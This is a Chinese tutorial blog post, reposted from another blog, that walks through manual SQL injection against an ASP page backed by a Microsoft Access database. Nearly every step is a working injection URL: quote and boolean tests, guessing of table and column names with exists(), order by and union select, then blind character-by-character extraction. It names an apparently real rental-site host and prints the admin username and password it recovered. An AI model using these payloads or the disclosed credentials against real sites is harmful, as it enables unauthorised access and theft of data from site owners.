sql注入入门 之 access常规注入 [ union方式 ]

2018 年 8 月 5 日 黑白之道


0x01 用于演示的常规 access 实例注入点,如下,可以看到,正常情况下的页面是这样的:


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240



0x02 尝试 ’ 干扰后,数据库如期报错,其实在错误里面就已经说的很清楚了,是access的数据库,错误的原因是多了个单引号导致的,既是如此,则证明我们的单引号刚刚已被带入了正常查询,这也正是我们想要看到的效果


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240'




0x03 再次确认是否真的存在注入,我们观察到,条件为真时页面返回正常


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and 1=1



0x04 条件为假时页面返回错误,确认无疑,这是个标标准准的access数字型注入点,紧接着我们就可以开始正常查询各种数据了,关于注入access,暂时也看到没什么特别好的办法,表名字段名只能硬猜


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and 1=112



0x05 首先,尝试猜管理表名,当然,这中间肯定还尝试了很多其它可能的管理表名,比如,admin,login,admin_user等等……直到我们尝试到users表时页面才返回正常,说明该表存在


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and exists(select * from users)



0x06 有了管理表名,接着就该猜该表中对应的用户和密码字段名了,当我们尝试 username 字段时,页面返回正常,说明该字段名存在


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and exists(select username from users)



0x07 用户名字段有了,下面该轮到猜密码字段名了,同样,当我们尝试 password 字段名时页面返回正常,说明该字段名也存在


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and exists(select password from users)



0x08 目前为止,表名,字段名都有了,理论上,紧接着直接去爆出相应的数据即可,不过,在爆数据之前,我们还需要先确定当前表的字段个数,后面好执行union,然后爆出数据的显示位,这里就用经典的order by ,很显然,为3的时候,页面返回正常


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 order by 3



0x09 为4的时候页面返回错误,按说,当前表的字段个数应该为3个才对


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 order by 4



0x10 但实际测试中,它却显示一直不匹配错误,好吧,想要直截了当的爆出数据估计要费点儿劲了,为了不在这里浪费时间,我们只能暂时用类似盲注的办法来一位位字符的截取数据了


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and 1=23 UNION SELECT 1,2,3 from users --



0x11 在这之前,我们已经确定了用户及密码的字段名和管理表名,所以,我们就可以像下面这样这样来获取数据


0x12 查询 username字段下的第一条数据的长度,当大于7时页面返回正常


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 len(username) from users)>7



0x13 大于8时页面返回错误,说明 username 字段下的第一条数据长度为 8 个字符


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 len(username) from users)>8



0x14 知道了第一条数据的总长度,我们就要可以开始一个一个字符的截取数据了,下面语句的意思是截取username字段的第一条数据的第一位字符并返回其对应的ascii码,可以看到,为98的时候页面返回正常,而98对应的ASCII码字符是b


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(username,1,1)) from users)=98



0x15 截取username字段的第一条数据的第二个字符并返回其对应的ascii码,为119时页面返回正常,而119对应的字符为w


1、http://www.vlun.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(username,2,1)) from users)=119



最后,通过慢慢遍历,username 字段的第一条记录的完整数据为bwrealty


0x16 username字段查完了,下面又该轮到password字段了,还是一模一样的方法


截取password字段的第一条数据的第一位字符,并返回其对应的ascii码,直到为98时页面猜返回正常


1、http://www.boardwalk-realty.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(password,1,1)) from users)=98



截取password字段的第一条数据的第二位字符,并返回其对应的ascii码,直到为119时页面猜返回正常


1、http://www.boardwalk-realty.com/dauphin-island-vacation-rentals-details.asp?id=240 and (select top 1 asc(mid(password,2,1)) from users)=119



password字段第一条数据的最终结果为bwrealty123,至此,整个access的常规注入就算基本完成了,大家也都看到了,其实整个注入过程,非常的简单


一点小结:


针对access的注入,其实真的没什么特别需要注意的,非常简单,因为它没有像mysql,mssql,oracle…那样,直接有提供现成的元数据可以查,表名字段名都只能硬猜,也就是说,如果是字段名猜不着,有后台的情况下,还可以看看后台的登陆表单里的账号密码字段名是什么,然后拿这个来试试,如果压根是表名都猜不着也就猜不着了,没什么曲线可以走,所以,这就需要大家自己平时多去搜集一些命中率相对比较高的管理员表名和账户密码字段名了,另外,因为access数据库,本身就非常小,所以,根本也没有任何权限及用户访问控制机制,自然注入起来也非常的容易,基本上是不用考虑的太多,上手即来。


文章出处:klion's blog

原文链接:https://klionsec.github.io/2016/05/10/access-manual-injection/

你可能喜欢

SQL注入被动扫描工具

个人收集整理sql注入关键字

sql注入介绍

登录查看更多
0

相关内容

ASP是Active Server Page的缩写,意为“动态服务器页面”。ASP是微软公司开发的代替CGI脚本程序的一种应用,它可以与数据库和其它程序进行交互,是一种简单、方便的编程工具。
【ACL2020】多模态信息抽取,365页ppt
专知会员服务
145+阅读 · 2020年7月6日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【图神经网络(GNN)结构化数据分析】
专知会员服务
115+阅读 · 2020年3月22日
【经典书】Python数据数据分析第二版,541页pdf
专知会员服务
193+阅读 · 2020年3月12日
【大规模数据系统,552页ppt】Large-scale Data Systems
专知会员服务
60+阅读 · 2019年12月21日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
87+阅读 · 2019年11月25日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
关于【种子/磁力链】全攻略,这里都有
高效率工具搜罗
11+阅读 · 2019年4月26日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
文本分析 | 常用距离/相似度 一览
数说工作室
26+阅读 · 2017年10月12日
Python3爬虫之入门和正则表达式
全球人工智能
7+阅读 · 2017年10月9日
如何七周成为数据分析师
R语言中文社区
4+阅读 · 2017年7月19日
Bidirectional Attention for SQL Generation
Arxiv
4+阅读 · 2018年6月21日
VIP会员
相关VIP内容
【ACL2020】多模态信息抽取,365页ppt
专知会员服务
145+阅读 · 2020年7月6日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【图神经网络(GNN)结构化数据分析】
专知会员服务
115+阅读 · 2020年3月22日
【经典书】Python数据数据分析第二版,541页pdf
专知会员服务
193+阅读 · 2020年3月12日
【大规模数据系统,552页ppt】Large-scale Data Systems
专知会员服务
60+阅读 · 2019年12月21日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
87+阅读 · 2019年11月25日
相关资讯
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
关于【种子/磁力链】全攻略,这里都有
高效率工具搜罗
11+阅读 · 2019年4月26日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
文本分析 | 常用距离/相似度 一览
数说工作室
26+阅读 · 2017年10月12日
Python3爬虫之入门和正则表达式
全球人工智能
7+阅读 · 2017年10月9日
如何七周成为数据分析师
R语言中文社区
4+阅读 · 2017年7月19日
Top
微信扫码咨询专知VIP会员